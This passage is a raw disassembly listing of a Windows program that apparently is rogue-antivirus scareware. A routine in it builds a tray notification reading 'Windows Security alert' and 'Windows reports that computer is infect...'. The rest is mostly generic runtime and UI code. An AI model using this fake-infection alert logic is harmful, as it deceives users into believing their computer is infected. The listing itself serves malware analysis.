call edi ; dword_41D264
jmp short loc_409EA5
; ---------------------------------------------------------------------------
loc_409E91: ; CODE XREF: sub_409CE5+1D1j
lea eax, [ebp+var_3C]
push eax
call dword_41D2D8 ; TranslateMessage
lea eax, [ebp+var_3C]
push eax
call dword_41D26C ; DispatchMessageW
loc_409EA5: ; CODE XREF: sub_409CE5+170j
; sub_409CE5+18Cj ...
push 1
push ebx
push ebx
push ebx
lea eax, [ebp+var_3C]
push eax
call dword_41D2F0 ; PeekMessageW
test eax, eax
jnz short loc_409E91
loc_409EB8: ; CODE XREF: sub_409CE5+15Ej
; sub_409CE5+167j
push 1
push 64h
push dword ptr [esi+74h]
call dword_41D074 ; WaitForSingleObjectEx
test eax, eax
jnz short loc_409E4E
push dword ptr [esi+98h]
call dword_41D304 ; DestroyWindow
pop edi
pop esi
pop ebx
leave
retn 4
sub_409CE5 endp
; =============== S U B R O U T I N E =======================================
sub_409EDC proc near ; CODE XREF: sub_409CE5+18Ep
push ebx
mov ebx, dword_41D08C
push edi
push 40h
push offset aWindowsSecurit ; "Windows Security alert"
lea eax, [esi+3C0h]
lea edi, [esi+9Ch]
push eax
mov dword ptr [edi], 3A8h
mov dword ptr [esi+0A8h], 11h
mov dword ptr [esi+440h], 3
call ebx ; dword_41D08C
push 100h
push offset aWindowsReports ; "Windows reports that computer is infect"...
lea eax, [esi+1BCh]
push eax
call ebx ; dword_41D08C
mov ecx, [esi+98h]
and dword ptr [esi+0B0h], 0
xor eax, eax
inc eax
push edi
push eax
mov [esi+0A4h], eax
mov [esi+0A0h], ecx
mov dword ptr [esi+0ACh], 8001h
mov dword ptr [esi+3BCh], 0EA60h
call dword_41D264
pop edi
pop ebx
retn
sub_409EDC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409F62 proc near ; DATA XREF: sub_409CE5+43o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_C = dword ptr 14h
push ebp
mov ebp, esp
cmp [ebp+arg_4], 8001h
jnz short loc_409FB1
push 0FFFFFFEBh
push [ebp+arg_0]
call dword_41D2CC ; GetWindowLongW
mov ecx, [ebp+arg_C]
cmp ecx, 203h
jl short loc_409FA1
cmp ecx, 204h
jle short loc_409F9C
cmp ecx, 404h
jz short loc_409FA7
cmp ecx, 405h
jnz short loc_409FA1
loc_409F9C: ; CODE XREF: sub_409F62+28j
call sub_409CAD
loc_409FA1: ; CODE XREF: sub_409F62+20j
; sub_409F62+38j ...
xor eax, eax
pop ebp
retn 10h
; ---------------------------------------------------------------------------
loc_409FA7: ; CODE XREF: sub_409F62+30j
push 0
call dword_41D2E4 ; PostQuitMessage
jmp short loc_409FA1
; ---------------------------------------------------------------------------
loc_409FB1: ; CODE XREF: sub_409F62+Aj
pop ebp
jmp dword_41D278
sub_409F62 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409FB8 proc near ; DATA XREF: sub_409BC7+8Co
var_104 = dword ptr -104h
var_100 = byte ptr -100h
var_F8 = dword ptr -0F8h
var_F4 = dword ptr -0F4h
var_F0 = dword ptr -0F0h
var_EC = dword ptr -0ECh
var_E8 = dword ptr -0E8h
var_E4 = dword ptr -0E4h
var_E0 = word ptr -0E0h
var_DE = word ptr -0DEh
var_DC = dword ptr -0DCh
var_C0 = byte ptr -0C0h
var_B0 = byte ptr -0B0h
var_1C = dword ptr -1Ch
var_14 = dword ptr -14h
var_C = byte ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
and esp, 0FFFFFFF8h
push 0FFFFFFFFh
push offset loc_41C75A
mov eax, large fs:0
push eax
sub esp, 0E8h
push ebx
push esi
push edi
mov eax, dword_42A034
xor eax, esp
push eax
lea eax, [esp+104h+var_C]
mov large fs:0, eax
push [ebp+arg_0]
lea eax, [esp+108h+var_B0]
push eax
call sub_409533
xor ebx, ebx
push ebx
mov [esp+108h+var_4], ebx
call dword_41D2DC ; GetDC
push 20h
pop esi
push esi
xor edi, edi
push esi
inc edi
push eax
mov [esp+114h+var_F8], eax
mov [esp+114h+var_F4], edi
mov [esp+114h+var_F0], ebx
mov [esp+114h+var_EC], ebx
call dword_41D044 ; CreateCompatibleBitmap
push offset dword_42CA58
push edi
push edi
push esi
push esi
mov [esp+128h+var_F0], eax
call dword_41D030 ; CreateBitmap
push 0Ah
pop ecx
mov [esp+114h+var_F4], eax
xor eax, eax
lea edi, [esp+114h+var_E8]
rep stosd
inc eax
mov [esp+114h+var_E0], ax
push ebx
mov eax, esi
mov [esp+118h+var_DE], ax
lea eax, [esp+118h+var_EC]
push eax
push offset dword_42BA58
push esi
push ebx
push [esp+128h+var_F0]
mov [esp+12Ch+var_EC], 28h
push [esp+12Ch+var_104]
mov [esp+130h+var_E8], esi
mov [esp+130h+var_E4], esi
mov [esp+130h+var_DC], ebx
call dword_41D050 ; SetDIBits
lea eax, [esp+114h+var_100]
push eax
call dword_41D2EC ; CreateIconIndirect
push [esp+114h+var_F0]
mov esi, dword_41D038
mov edi, eax
call esi ; dword_41D038
push [esp+114h+var_F4]
call esi ; dword_41D038
push offset aSwp2009Demo ; "SWP2009 demo"
push edi
push 90000000h
push ebx
lea eax, [esp+124h+var_C0]
call sub_418186
push edi
call dword_41D2F8 ; DestroyIcon
or [esp+114h+var_14], 0FFFFFFFFh
lea edi, [esp+114h+var_C0]
call sub_40961F
mov ecx, [esp+114h+var_1C]
mov large fs:0, ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn 4
sub_409FB8 endp
; =============== S U B R O U T I N E =======================================
sub_40A0E8 proc near ; DATA XREF: sub_409BC7+9Bo
push 64h
mov eax, offset loc_41C734
call sub_40C46D
mov edi, [ebp+8]
lea eax, [ebp-70h]
push eax
call sub_4093B3
xor eax, eax
push eax
push eax
push 90000000h
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push 0CF0000h
push offset dword_4245BC
push offset aStatic ; "STATIC"
push eax
mov [ebp-4], eax
call dword_41D290 ; CreateWindowExW
push eax
lea eax, [ebp-70h]
call sub_418186
or dword ptr [ebp-4], 0FFFFFFFFh
lea edi, [ebp-70h]
call sub_409433
call sub_40C50C
retn 4
sub_40A0E8 endp
; =============== S U B R O U T I N E =======================================
sub_40A147 proc near ; DATA XREF: sub_409BC7+ABo
push 64h
mov eax, offset loc_41C711
call sub_40C46D
mov edi, [ebp+8]
lea eax, [ebp-70h]
push eax
call sub_4091FA
xor eax, eax
push eax
push eax
push 90000000h
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push 0CF0000h
push offset dword_4245BC
push offset aStatic ; "STATIC"
push eax
mov [ebp-4], eax
call dword_41D290 ; CreateWindowExW
push eax
lea eax, [ebp-70h]
call sub_418186
or dword ptr [ebp-4], 0FFFFFFFFh
lea edi, [ebp-70h]
call sub_40927A
call sub_40C50C
retn 4
sub_40A147 endp
; =============== S U B R O U T I N E =======================================
sub_40A1A6 proc near ; DATA XREF: UPX0:00424BC4o
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ecx, [eax]
push offset dword_4245BC
push offset aAppid_0 ; "APPID"
push eax
call dword ptr [ecx+0Ch]
retn 4
sub_40A1A6 endp
; =============== S U B R O U T I N E =======================================
sub_40A1BD proc near ; CODE XREF: sub_4075D2+ECp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esi+8]
push 4
inc eax
push eax
push dword ptr [esi]
call sub_40B28B
add esp, 0Ch
test eax, eax
jnz short loc_40A1D6
loc_40A1D2: ; CODE XREF: sub_40A1BD+2Fj
xor eax, eax
jmp short locret_40A21C
; ---------------------------------------------------------------------------
loc_40A1D6: ; CODE XREF: sub_40A1BD+13j
mov [esi], eax
mov eax, [esi+8]
push 4
inc eax
push eax
push dword ptr [esi+4]
call sub_40B28B
add esp, 0Ch
test eax, eax
jz short loc_40A1D2
mov [esi+4], eax
mov eax, [esi+8]
mov ecx, eax
mov eax, [esi]
shl ecx, 2
add eax, ecx
jz short loc_40A207
mov edx, [esp+arg_0]
mov edx, [edx]
mov [eax], edx
loc_40A207: ; CODE XREF: sub_40A1BD+40j
mov eax, [esi+4]
add eax, ecx
jz short loc_40A216
mov ecx, [esp+arg_4]
mov ecx, [ecx]
mov [eax], ecx
loc_40A216: ; CODE XREF: sub_40A1BD+4Fj
inc dword ptr [esi+8]
xor eax, eax
inc eax
locret_40A21C: ; CODE XREF: sub_40A1BD+17j
retn 8
sub_40A1BD endp
; =============== S U B R O U T I N E =======================================
sub_40A21F proc near ; CODE XREF: sub_4076FC:loc_407735p
; sub_4077EF+2Dp
mov eax, [esi]
test eax, eax
jz short loc_40A22F
push eax
call sub_40ADC8
and dword ptr [esi], 0
pop ecx
loc_40A22F: ; CODE XREF: sub_40A21F+4j
mov eax, [esi+4]
test eax, eax
jz short loc_40A241
push eax
call sub_40ADC8
and dword ptr [esi+4], 0
pop ecx
loc_40A241: ; CODE XREF: sub_40A21F+15j
and dword ptr [esi+8], 0
retn
sub_40A21F endp
; =============== S U B R O U T I N E =======================================
sub_40A246 proc near ; CODE XREF: sub_4076FC+24p
; sub_407A74+45p
test eax, eax
jl short loc_40A256
cmp eax, [ecx+8]
jge short loc_40A256
mov ecx, [ecx+4]
lea eax, [ecx+eax*4]
retn
; ---------------------------------------------------------------------------
loc_40A256: ; CODE XREF: sub_40A246+2j
; sub_40A246+7j
push 0
push 0
push 1
push 0C000008Ch
call dword_41D1DC ; RaiseException
int 3 ; Trap to Debugger
loc_40A268: ; CODE XREF: UPX0:0041C3B4j
; UPX0:0041C3BCj
push dword ptr [esi]
call sub_40B36B
and dword ptr [esi], 0
pop ecx
retn
sub_40A246 endp
; ---------------------------------------------------------------------------
loc_40A274: ; CODE XREF: UPX0:0041C2A5j
; UPX0:0041C2ADj ...
lea ecx, [eax+4]
cmp [eax], ecx
jz short locret_40A280
jmp sub_40A2EA
; ---------------------------------------------------------------------------
locret_40A280: ; CODE XREF: UPX0:0040A279j
retn
; =============== S U B R O U T I N E =======================================
sub_40A281 proc near ; CODE XREF: sub_4098E0+65p
; sub_4098E0+147p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
lea ecx, [eax+2]
loc_40A288: ; CODE XREF: sub_40A281+Fj
mov dx, [eax]
inc eax
inc eax
test dx, dx
jnz short loc_40A288
sub eax, ecx
push ebx
push [esp+4+arg_4]
sar eax, 1
mov ebx, eax
mov eax, [esp+8+arg_0]
call sub_40A4B6
pop ebx
retn 8
sub_40A281 endp
; ---------------------------------------------------------------------------
loc_40A2AA: ; CODE XREF: UPX0:0041C272j
mov ecx, [eax]
add eax, 4
cmp ecx, eax
jz short locret_40A2BA
push ecx
call sub_40ADC8
pop ecx
locret_40A2BA: ; CODE XREF: UPX0:0040A2B1j
retn
; =============== S U B R O U T I N E =======================================
sub_40A2BB proc near ; CODE XREF: sub_409BC7+D7p
; sub_409CAD+27p ...
arg_0 = dword ptr 4
push edi
push 8
call sub_40B45F
pop ecx
mov ecx, [esp+4+arg_0]
mov [eax+4], ecx
xor ecx, ecx
lea edi, [esi+4]
push edi
push ecx
push eax
push offset sub_40A478
push ecx
push ecx
mov [eax], esi
call dword_41D0B0 ; CreateThread
mov [esi], eax
mov eax, [edi]
pop edi
retn 4
sub_40A2BB endp
; =============== S U B R O U T I N E =======================================
sub_40A2EA proc near ; CODE XREF: sub_4078AB+BCp
; sub_4078AB+175p ...
push dword ptr [eax]
call sub_40ADC8
pop ecx
retn
sub_40A2EA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A2F3 proc near ; CODE XREF: sub_408F59+2Bp
; sub_408FB6+C1p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
cmp [ebp+arg_4], 0
jnz short loc_40A309
mov eax, [ebp+arg_0]
and dword ptr [eax], 0
jmp locret_40A394
; ---------------------------------------------------------------------------
loc_40A309: ; CODE XREF: sub_40A2F3+9j
push ebx
push esi
push edi
push [ebp+arg_4]
call dword_41D1D4 ; lstrlenA
mov esi, [ebp+arg_0]
mov ebx, eax
inc ebx
lea edi, [esi+4]
mov ecx, ebx
mov [ebp+var_4], ebx
call sub_40A5F1
push ebx
push dword ptr [esi]
push ebx
push [ebp+arg_4]
mov ebx, dword_41D1F4
push 0
push [ebp+arg_8]
call ebx ; dword_41D1F4
mov esi, eax
neg esi
sbb esi, esi
inc esi
jz short loc_40A391
call dword_41D1D8 ; RtlGetLastWin32Error
cmp eax, 7Ah
jnz short loc_40A388
xor eax, eax
push eax
push eax
push [ebp+var_4]
push [ebp+arg_4]
push eax
push [ebp+arg_8]
call ebx ; dword_41D1F4
mov esi, [ebp+arg_0]
mov ecx, eax
mov [ebp+var_8], ecx
call sub_40A5F1
push [ebp+var_8]
mov eax, esi
push dword ptr [eax]
push [ebp+var_4]
push [ebp+arg_4]
push 0
push [ebp+arg_8]
call ebx ; dword_41D1F4
mov esi, eax
neg esi
sbb esi, esi
inc esi
loc_40A388: ; CODE XREF: sub_40A2F3+5Bj
test esi, esi
jz short loc_40A391
call sub_407297
; ---------------------------------------------------------------------------
loc_40A391: ; CODE XREF: sub_40A2F3+50j
; sub_40A2F3+97j
pop edi
pop esi
pop ebx
locret_40A394: ; CODE XREF: sub_40A2F3+11j
leave
retn 0Ch
sub_40A2F3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A398 proc near ; CODE XREF: sub_408FB6+79p
; sub_408FB6+164p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
cmp [ebp+arg_4], 0
jnz short loc_40A3AE
mov eax, [ebp+arg_0]
and dword ptr [eax], 0
jmp locret_40A44E
; ---------------------------------------------------------------------------
loc_40A3AE: ; CODE XREF: sub_40A398+9j
push ebx
push esi
push edi
push [ebp+arg_4]
call dword_41D1F0 ; lstrlenW
mov esi, [ebp+arg_0]
mov ebx, eax
inc ebx
mov ecx, ebx
shl ecx, 2
lea edi, [esi+4]
mov [ebp+var_4], ecx
mov [ebp+var_8], edi
call sub_40A651
mov edi, dword_41D07C
xor eax, eax
push eax
push eax
push [ebp+var_4]
mov ecx, esi
push dword ptr [ecx]
push ebx
push [ebp+arg_4]
push eax
push [ebp+arg_8]
call edi ; dword_41D07C
mov esi, eax
neg esi
sbb esi, esi
inc esi
jz short loc_40A44B
call dword_41D1D8 ; RtlGetLastWin32Error
cmp eax, 7Ah
jnz short loc_40A442
xor eax, eax
push eax
push eax
push eax
push eax
push ebx
push [ebp+arg_4]
push eax
push [ebp+arg_8]
call edi ; dword_41D07C
mov edi, [ebp+var_8]
mov esi, [ebp+arg_0]
mov ecx, eax
mov [ebp+var_4], eax
call sub_40A651
xor eax, eax
push eax
push eax
push [ebp+var_4]
mov ecx, esi
push dword ptr [ecx]
push ebx
push [ebp+arg_4]
push eax
push [ebp+arg_8]
call dword_41D07C ; WideCharToMultiByte
mov esi, eax
neg esi
sbb esi, esi
inc esi
loc_40A442: ; CODE XREF: sub_40A398+68j
test esi, esi
jz short loc_40A44B
call sub_407297
; ---------------------------------------------------------------------------
loc_40A44B: ; CODE XREF: sub_40A398+5Dj
; sub_40A398+ACj
pop edi
pop esi
pop ebx
locret_40A44E: ; CODE XREF: sub_40A398+11j
leave
retn 0Ch
sub_40A398 endp
; =============== S U B R O U T I N E =======================================
sub_40A452 proc near ; DATA XREF: sub_40968F+4Ao
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi]
mov ecx, [eax+8]
mov edx, [eax+10h]
push edi
mov edi, [eax+14h]
push dword ptr [esi+4]
add ecx, edi
call edx
push esi
call sub_40AC11
pop ecx
pop edi
xor eax, eax
pop esi
retn 4
sub_40A452 endp
; =============== S U B R O U T I N E =======================================
sub_40A478 proc near ; DATA XREF: sub_40A2BB+18o
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi]
push dword ptr [esi+4]
mov ecx, [eax+8]
call dword ptr [eax+0Ch]
push esi
call sub_40AC11
pop ecx
xor eax, eax
pop esi
retn 4
sub_40A478 endp
; =============== S U B R O U T I N E =======================================
sub_40A495 proc near ; CODE XREF: sub_4078AB+F3p
; sub_407CD3+114p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
call sub_40AEA5
pop ecx
test eax, eax
jnz short loc_40A4AD
push 8007000Eh
call sub_4010D8
; ---------------------------------------------------------------------------
loc_40A4AD: ; CODE XREF: sub_40A495+Cj
mov ecx, [esp+arg_0]
mov [ecx], eax
retn 8
sub_40A495 endp
; =============== S U B R O U T I N E =======================================
sub_40A4B6 proc near ; CODE XREF: sub_40A281+20p
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, eax
push edi
mov ecx, esi
call sub_4060F4
test al, al
jz short loc_40A4E7
cmp dword ptr [esi+18h], 8
jb short loc_40A4D5
mov eax, [esi+4]
jmp short loc_40A4D8
; ---------------------------------------------------------------------------
loc_40A4D5: ; CODE XREF: sub_40A4B6+18j
lea eax, [esi+4]
loc_40A4D8: ; CODE XREF: sub_40A4B6+1Dj
sub edi, eax
push ebx
sar edi, 1
push edi
mov eax, esi
call sub_40A54C
jmp short loc_40A547
; ---------------------------------------------------------------------------
loc_40A4E7: ; CODE XREF: sub_40A4B6+12j
or eax, 0FFFFFFFFh
sub eax, [esi+14h]
cmp eax, ebx
jbe short loc_40A4FB
mov eax, [esi+14h]
lea ecx, [eax+ebx]
cmp ecx, eax
jnb short loc_40A500
loc_40A4FB: ; CODE XREF: sub_40A4B6+39j
call sub_40AB96
loc_40A500: ; CODE XREF: sub_40A4B6+43j
test ebx, ebx
jbe short loc_40A545
mov edi, [esi+14h]
add edi, ebx
mov eax, esi
call sub_4060AE
test al, al
jz short loc_40A545
mov eax, [esi+18h]
cmp eax, 8
jb short loc_40A521
mov edx, [esi+4]
jmp short loc_40A524
; ---------------------------------------------------------------------------
loc_40A521: ; CODE XREF: sub_40A4B6+64j
lea edx, [esi+4]
loc_40A524: ; CODE XREF: sub_40A4B6+69j
mov ecx, [esi+14h]
push [esp+8+arg_0]
sub eax, ecx
push eax
lea eax, [edx+ecx*2]
push eax
mov eax, ebx
call sub_406F3F
add esp, 0Ch
mov ecx, edi
mov eax, esi
call sub_405B16
loc_40A545: ; CODE XREF: sub_40A4B6+4Cj
; sub_40A4B6+5Cj
mov eax, esi
loc_40A547: ; CODE XREF: sub_40A4B6+2Fj
pop edi
pop esi
retn 4
sub_40A4B6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A54C proc near ; CODE XREF: sub_40A4B6+2Ap
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, eax
mov eax, [ebx+14h]
push edi
mov edi, [ebp+arg_4]
cmp eax, [ebp+arg_0]
jnb short loc_40A564
call sub_40ABCE
loc_40A564: ; CODE XREF: sub_40A54C+11j
mov eax, [ebx+14h]
sub eax, [ebp+arg_0]
cmp eax, edi
jnb short loc_40A573
mov edi, eax
mov [ebp+arg_4], edi
loc_40A573: ; CODE XREF: sub_40A54C+20j
or eax, 0FFFFFFFFh
sub eax, [esi+14h]
cmp eax, edi
jbe short loc_40A587
mov eax, [esi+14h]
lea ecx, [eax+edi]
cmp ecx, eax
jnb short loc_40A58C
loc_40A587: ; CODE XREF: sub_40A54C+2Fj
call sub_40AB96
loc_40A58C: ; CODE XREF: sub_40A54C+39j
test edi, edi
jbe short loc_40A5E9
mov eax, [esi+14h]
add eax, edi
mov [ebp+var_4], eax
mov edi, eax
mov eax, esi
call sub_4060AE
test al, al
jz short loc_40A5E9
cmp dword ptr [ebx+18h], 8
jb short loc_40A5B0
mov ebx, [ebx+4]
jmp short loc_40A5B3
; ---------------------------------------------------------------------------
loc_40A5B0: ; CODE XREF: sub_40A54C+5Dj
add ebx, 4
loc_40A5B3: ; CODE XREF: sub_40A54C+62j
mov eax, [esi+18h]
cmp eax, 8
jb short loc_40A5C0
mov edx, [esi+4]
jmp short loc_40A5C3
; ---------------------------------------------------------------------------
loc_40A5C0: ; CODE XREF: sub_40A54C+6Dj
lea edx, [esi+4]
loc_40A5C3: ; CODE XREF: sub_40A54C+72j
mov ecx, [esi+14h]
mov edi, [ebp+arg_0]
sub eax, ecx
lea edi, [ebx+edi*2]
push edi
push eax
lea eax, [edx+ecx*2]
push eax
mov eax, [ebp+arg_4]
call sub_406F3F
mov ecx, [ebp+var_4]
add esp, 0Ch
mov eax, esi
call sub_405B16
loc_40A5E9: ; CODE XREF: sub_40A54C+42j
; sub_40A54C+57j
pop edi
mov eax, esi
pop ebx
leave
retn 8
sub_40A54C endp
; =============== S U B R O U T I N E =======================================
sub_40A5F1 proc near ; CODE XREF: sub_40A2F3+30p
; sub_40A2F3+75p
test esi, esi
jnz short loc_40A5FF
loc_40A5F5: ; CODE XREF: sub_40A5F1+10j
; sub_40A5F1+14j
push 80070057h
loc_40A5FA: ; CODE XREF: sub_40A5F1+39j
call sub_4010D8
; ---------------------------------------------------------------------------
loc_40A5FF: ; CODE XREF: sub_40A5F1+2j
test ecx, ecx
jl short loc_40A5F5
test edi, edi
jz short loc_40A5F5
mov eax, [esi]
cmp eax, edi
jz short loc_40A63B
cmp ecx, 80h
jle short loc_40A62C
push 2
push ecx
push eax
call sub_40B28B
add esp, 0Ch
test eax, eax
jnz short loc_40A64D
loc_40A625: ; CODE XREF: sub_40A5F1+47j
push 8007000Eh
jmp short loc_40A5FA
; ---------------------------------------------------------------------------
loc_40A62C: ; CODE XREF: sub_40A5F1+22j
push eax
call sub_40ADC8
pop ecx
loc_40A633: ; CODE XREF: sub_40A5F1+50j
mov [esi], edi
loc_40A635: ; CODE XREF: sub_40A5F1+5Ej
cmp dword ptr [esi], 0
jz short loc_40A625
retn
; ---------------------------------------------------------------------------
loc_40A63B: ; CODE XREF: sub_40A5F1+1Aj
cmp ecx, 80h
jle short loc_40A633
push 2
push ecx
call sub_40B5BD
pop ecx
pop ecx
loc_40A64D: ; CODE XREF: sub_40A5F1+32j
mov [esi], eax
jmp short loc_40A635
sub_40A5F1 endp
; =============== S U B R O U T I N E =======================================
sub_40A651 proc near ; CODE XREF: sub_40A398+36p
; sub_40A398+85p
test esi, esi
jnz short loc_40A65F
loc_40A655: ; CODE XREF: sub_40A651+10j
; sub_40A651+14j
push 80070057h
loc_40A65A: ; CODE XREF: sub_40A651+39j
call sub_4010D8
; ---------------------------------------------------------------------------
loc_40A65F: ; CODE XREF: sub_40A651+2j
test ecx, ecx
jl short loc_40A655
test edi, edi
jz short loc_40A655
mov eax, [esi]
cmp eax, edi
jz short loc_40A69B
cmp ecx, 80h
jle short loc_40A68C
push 1
push ecx
push eax
call sub_40B28B
add esp, 0Ch
test eax, eax
jnz short loc_40A6AD
loc_40A685: ; CODE XREF: sub_40A651+47j
push 8007000Eh
jmp short loc_40A65A
; ---------------------------------------------------------------------------
loc_40A68C: ; CODE XREF: sub_40A651+22j
push eax
call sub_40ADC8
pop ecx
loc_40A693: ; CODE XREF: sub_40A651+50j
mov [esi], edi
loc_40A695: ; CODE XREF: sub_40A651+5Ej
cmp dword ptr [esi], 0
jz short loc_40A685
retn
; ---------------------------------------------------------------------------
loc_40A69B: ; CODE XREF: sub_40A651+1Aj
cmp ecx, 80h
jle short loc_40A693
push 1
push ecx
call sub_40B5BD
pop ecx
pop ecx
loc_40A6AD: ; CODE XREF: sub_40A651+32j
mov [esi], eax
jmp short loc_40A695
sub_40A651 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A6B1 proc near ; DATA XREF: sub_40A71A:loc_40A75Bo
var_C = byte ptr -0Ch
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, dword_42A034
xor eax, ebp
mov [ebp+var_4], eax
push esi
xor esi, esi
call dword_41D0C0 ; GetThreadLocale
push 7
lea ecx, [ebp+var_C]
push ecx
push 1004h
push eax
call dword_41D0BC ; GetLocaleInfoA
test eax, eax
jz short loc_40A6FF
mov cl, [ebp+var_C]
test cl, cl
lea eax, [ebp+var_C]
jz short loc_40A6FF
loc_40A6EA: ; CODE XREF: sub_40A6B1+48j
imul esi, 0Ah
movsx ecx, cl
inc eax
lea esi, [esi+ecx-30h]
mov cl, [eax]
test cl, cl
jnz short loc_40A6EA
test esi, esi
jnz short loc_40A707
loc_40A6FF: ; CODE XREF: sub_40A6B1+2Dj
; sub_40A6B1+37j
call dword_41D0B8 ; GetACP
mov esi, eax
loc_40A707: ; CODE XREF: sub_40A6B1+4Cj
mov ecx, [ebp+var_4]
mov eax, esi
xor ecx, ebp
pop esi
call sub_40AC1C
leave
retn
sub_40A6B1 endp
; =============== S U B R O U T I N E =======================================
sub_40A716 proc near ; DATA XREF: sub_40A71A+3Ao
push 3
pop eax
retn
sub_40A716 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A71A proc near ; CODE XREF: sub_401304+Cp
; sub_401BB2+C6p ...
var_98 = dword ptr -98h
var_94 = dword ptr -94h
var_88 = dword ptr -88h
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 98h
mov eax, dword_42A034
xor eax, ebp
mov [ebp+var_4], eax
lea eax, [ebp+var_98]
push eax
mov [ebp+var_98], 94h
call dword_41D0C4 ; GetVersionExA
cmp [ebp+var_88], 2
jnz short loc_40A75B
cmp [ebp+var_94], 5
mov eax, offset sub_40A716
jnb short loc_40A760
loc_40A75B: ; CODE XREF: sub_40A71A+31j
mov eax, offset sub_40A6B1
loc_40A760: ; CODE XREF: sub_40A71A+3Fj
push eax
push offset off_42A000
call dword_41D0B4 ; InterlockedExchange
call off_42A000
mov ecx, [ebp+var_4]
xor ecx, ebp
call sub_40AC1C
leave
retn
sub_40A71A endp
; =============== S U B R O U T I N E =======================================
sub_40A77E proc near ; CODE XREF: sub_40A859+4p
arg_0 = dword ptr 4
mov eax, dword_42E340
cmp eax, 1
push [esp+arg_0]
jnz short loc_40A79C
push 0
call dword_41D0D0 ; GetProcessHeap
push eax
call dword_41D0CC ; RtlFreeHeap
retn
; ---------------------------------------------------------------------------
loc_40A79C: ; CODE XREF: sub_40A77E+Cj
push eax
call dword_42E344
retn
sub_40A77E endp
; =============== S U B R O U T I N E =======================================
sub_40A7A4 proc near ; CODE XREF: sub_40A866+Ap
push ebx
push 0Ch
call dword_41D0E0 ; IsProcessorFeaturePresent
test eax, eax
jnz short loc_40A7B9
inc eax
mov dword_42E340, eax
pop ebx
retn
; ---------------------------------------------------------------------------
loc_40A7B9: ; CODE XREF: sub_40A7A4+Bj
push ebp
push esi
push edi
push offset aKernel32_dll_0 ; "kernel32.dll"
call dword_41D0DC ; LoadLibraryA
mov edi, eax
xor ebp, ebp
cmp edi, ebp
jz short loc_40A7EF
mov esi, dword_41D0D8
push offset aInterlockedpus ; "InterlockedPushEntrySList"
push edi
call esi ; dword_41D0D8
push offset aInterlockedpop ; "InterlockedPopEntrySList"
push edi
mov dword_42E344, eax
call esi ; dword_41D0D8
mov dword_42E348, eax
loc_40A7EF: ; CODE XREF: sub_40A7A4+29j
cmp dword_42E344, ebp
jz short loc_40A852
cmp dword_42E348, ebp
jz short loc_40A852
mov eax, large fs:18h
mov esi, [eax+30h]
add esi, 34h
mov eax, [esi]
cmp eax, ebp
jnz short loc_40A848
mov ebx, dword_41D0D0
push 8
push ebp
call ebx ; dword_41D0D0
push eax
call dword_41D0D4 ; RtlAllocateHeap
mov edi, eax
cmp edi, ebp
jz short loc_40A852
push ebp
push edi
push esi
mov [edi], ebp
mov [edi+4], ebp
call dword_41D0C8 ; InterlockedCompareExchange
test eax, eax
jz short loc_40A846
push edi
push ebp
call ebx ; dword_41D0D0
push eax
call dword_41D0CC ; RtlFreeHeap
loc_40A846: ; CODE XREF: sub_40A7A4+95j
mov eax, [esi]
loc_40A848: ; CODE XREF: sub_40A7A4+6Bj
mov dword_42E340, eax
xor eax, eax
inc eax
jmp short loc_40A854
; ---------------------------------------------------------------------------
loc_40A852: ; CODE XREF: sub_40A7A4+51j
; sub_40A7A4+59j ...
xor eax, eax
loc_40A854: ; CODE XREF: sub_40A7A4+ACj
pop edi
pop esi
pop ebp
pop ebx
retn
sub_40A7A4 endp
; =============== S U B R O U T I N E =======================================
sub_40A859 proc near ; CODE XREF: sub_401E62+28p
; sub_401F64+B9p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_40A77E
pop ecx
retn 4
sub_40A859 endp
; =============== S U B R O U T I N E =======================================
sub_40A866 proc near ; CODE XREF: sub_40A906j
cmp dword_42E340, 0
push esi
jnz short loc_40A879
call sub_40A7A4
test eax, eax
jz short loc_40A8BC
loc_40A879: ; CODE XREF: sub_40A866+8j
mov eax, dword_42E340
cmp eax, 1
jnz short loc_40A89A
push 0Dh
push 0
call dword_41D0D0 ; GetProcessHeap
push eax
call dword_41D0D4 ; RtlAllocateHeap
test eax, eax
jz short loc_40A8BC
pop esi
retn
; ---------------------------------------------------------------------------
loc_40A89A: ; CODE XREF: sub_40A866+1Bj
push eax
call dword_42E348
test eax, eax
jnz short loc_40A904
push 40h
mov eax, 1000h
push eax
push eax
push 0
call dword_41D0E8 ; VirtualAlloc
mov esi, eax
test esi, esi
jnz short loc_40A8C0
loc_40A8BC: ; CODE XREF: sub_40A866+11j
; sub_40A866+30j
xor eax, eax
pop esi
retn
